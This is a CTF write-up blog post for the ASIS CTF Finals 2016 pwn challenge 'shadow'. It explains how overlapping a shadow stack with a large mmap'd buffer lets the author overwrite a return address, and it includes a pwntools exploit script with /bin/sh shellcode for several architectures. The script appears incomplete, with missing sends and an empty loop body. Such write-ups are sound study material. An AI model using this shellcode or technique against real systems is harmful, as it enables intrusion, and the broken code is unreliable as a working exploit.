Hacking Tube

Site no longer updated. Migrated to https://bruce30262.github.io/

ASIS CTF Finals 2016 -- shadow

| Comments

Category: pwn
Points: 99

32 bit ELF, with no NX, PIE, RELRO protection. The program will first use mmap to allocate a range of memory and treat it as a shadow stack, which stores the function return addresses.

In the main function the program first ask us to input our name (the buffer was placed in the .bss section), then give us two choice:

  • Add a beer. This one will first ask us to input the beer description length, then let us input our own beer description.
  • Read/Modify beer desription. Here we first choose one of our beer, and the program will print out the beer description. After that we can choose if we want to modify the beer description or not.

So where's the vulnerability? The program has malloc in the add beer function, but it doesn't have free in the entire program, so it's probably not UAF. There's a stack overflow in the beer description function though, but the binary has enabled the stack guard protection, so it's kind of hard for us to bypass the canary check. But then I took a good look at the beer description function, and found that we can call the function recursively, by keep entering an invalid choice. This will cause the shadow stack keep "growing up".

And how's that gonna help us to exploit the service? Well, first of all we know that the malloc function in libc will call mmap instead for the large size memory allocation ( over 0x20000 bytes). Since the add beer function use malloc to allocate memory for our beer description, we could try to create a super long beer description. This will make malloc call mmap instead, and the allocated memory page will be placed just right before the last mmap memory page, which is the shadow stack. If we can make the shadow stack keep "growing up", it will eventually overlapped with the memory page of our beer description. Since we can control (modify) the beer description, we can then modify the saved return address and change it to the name buffer, which we input our shellcode instead.

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = "shadow.asis-ctf.ir"
PORT = 31337
ELF_PATH = "./shadow"

# setting 

context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
context.log_level = 'INFO'


def my_recvuntil(s, delim):
    res = ""
    while delim not in res:
        c = s.recv(1)
        res += c
    return res

def myexec(cmd):
    return subprocess.check_output(cmd, shell=True)

def sc(arch=context.arch):
    if arch == "i386":
        # shellcraft.i386.linux.sh(), null free, 22 bytes

        return "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80"
    elif arch == "amd64":
        # shellcraft.amd64.linux.sh(), null free, 24 bytes

        return "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x31\xf6\x6a\x3b\x58\x99\x0f\x05"
    elif arch == "arm":
        # null free, 27 bytes

        return "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x09\x30\x49\x40\x52\x40\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"
    elif arch == "aarch64":
        # 4 null bytes, total 35 bytes

        return "\x06\x00\x00\x14\xe0\x03\x1e\xaa\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x21\x00\x00\xd4\xfb\xff\xff\x97\x2f\x62\x69\x6e\x2f\x73\x68"
        return None

def add_one(size, desr):
    log.info("send desc length")
    r.sendlineafter("length?\n", str(size))
    log.info("send desc")

if __name__ == "__main__":
    shellcode_addr = 0x0804a520
    shellcode = sc()

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)

    log.info("send name (shellcode)")
    r.sendlineafter("name?\n", shellcode)

    log.info("add one beer")
    add_one(0x20000, "A"*(0x20000-4)+"BBBB")
    r.recvuntil("beer uploaded to the memory!\n")
    log.info("add beer done")

    log.info("choose desc")
    r.sendline("2") # choose desc

    r.sendline("0") # input index

    log.info("recieving BBBB")
    print r.recvuntil("BBBB")
    log.info("recieving rest output")
    print r.recvuntil("\n")
    print r.recvline()
    log.info("start stacking stack")

    maxx = 80000
    for i in xrange(maxx):
        check = i% 10000
        if check == 0:
            print i



After I finshed my exploit, I found that it will timeout due to the crappy internet connection, so I have to upload my exploit to trello and ask my teammate freetsubasa to send the payload for me XD

Anyway the flag is: ASIS{732f9beb138dbca4e44d5d184c3074dc}


comments powered by Disqus